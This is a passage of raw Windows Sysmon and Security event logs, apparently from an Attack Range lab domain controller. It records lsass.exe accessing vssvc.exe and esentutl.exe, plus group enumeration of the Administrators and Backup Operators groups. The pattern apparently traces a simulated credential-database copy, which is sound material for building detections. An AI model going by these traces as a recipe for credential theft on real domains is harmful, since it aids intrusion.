L+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222101,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222102,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222103,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222104,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222105,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222106,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 